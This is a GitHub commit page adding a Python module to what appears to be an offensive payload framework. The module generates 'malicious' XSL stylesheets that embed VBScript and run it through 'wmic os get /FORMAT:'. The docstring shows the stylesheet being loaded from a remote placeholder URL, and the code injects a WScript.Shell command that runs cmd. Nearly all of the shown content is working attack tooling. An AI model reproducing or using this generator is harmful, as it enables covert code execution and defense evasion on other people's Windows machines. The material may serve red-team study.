This repository has been archived by the owner on Sep 14, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 406
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add malicious XSLT Stylesheet generation
- Loading branch information
Showing
6 changed files
with
74 additions
and
8 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,56 @@ | ||
#!/usr/bin/env python | ||
# encoding: utf-8 | ||
|
||
import logging | ||
from modules.vbs_gen import VBSGenerator | ||
|
||
XSL_TEMPLATE = \ | ||
r"""<?xml version='1.0'?> | ||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl"> | ||
<xsl:script language="VBScript"><![CDATA[ | ||
<<<VBS>>> | ||
<<<MAIN>>> | ||
]]> | ||
</xsl:script> | ||
</xsl:stylesheet> | ||
""" | ||
|
||
|
||
|
||
class XSLGenerator(VBSGenerator): | ||
""" Module used to generate XSL file from working dir content | ||
To execute: | ||
wmic os get /FORMAT:test.xsl | ||
Also work on remote files | ||
wmic os get /FORMAT:http://www.domain.blah/hello.xsl | ||
""" | ||
|
||
|
||
def generate(self): | ||
logging.info(" [+] Generating %s file..." % self.outputFileType) | ||
self.vbScriptConvert() | ||
f = open(self.getMainVBAFile()+".vbs") | ||
vbsContent = f.read() | ||
f.close() | ||
|
||
XSL_ECHO= r"""CreateObject("WScript.Shell").Run("cmd /c echo XSLT does not handle output message! & PAUSE") '""" | ||
vbsContent = vbsContent.replace("WScript.Echo ", XSL_ECHO) | ||
|
||
# Write VBS in template | ||
xslContent = XSL_TEMPLATE | ||
xslContent = xslContent.replace("<<<VBS>>>", vbsContent) | ||
xslContent = xslContent.replace("<<<MAIN>>>", self.startFunction) | ||
# Write in new HTA file | ||
f = open(self.outputFilePath, 'w') | ||
f.writelines(xslContent) | ||
f.close() | ||
logging.info(" [-] Generated %s file: %s" % (self.outputFileType, self.outputFilePath)) | ||
logging.info(" [-] Test with : \nwmic os get /FORMAT:\"%s\"\n" % self.outputFilePath) | ||
|
||
|
||
|
||
|
||
|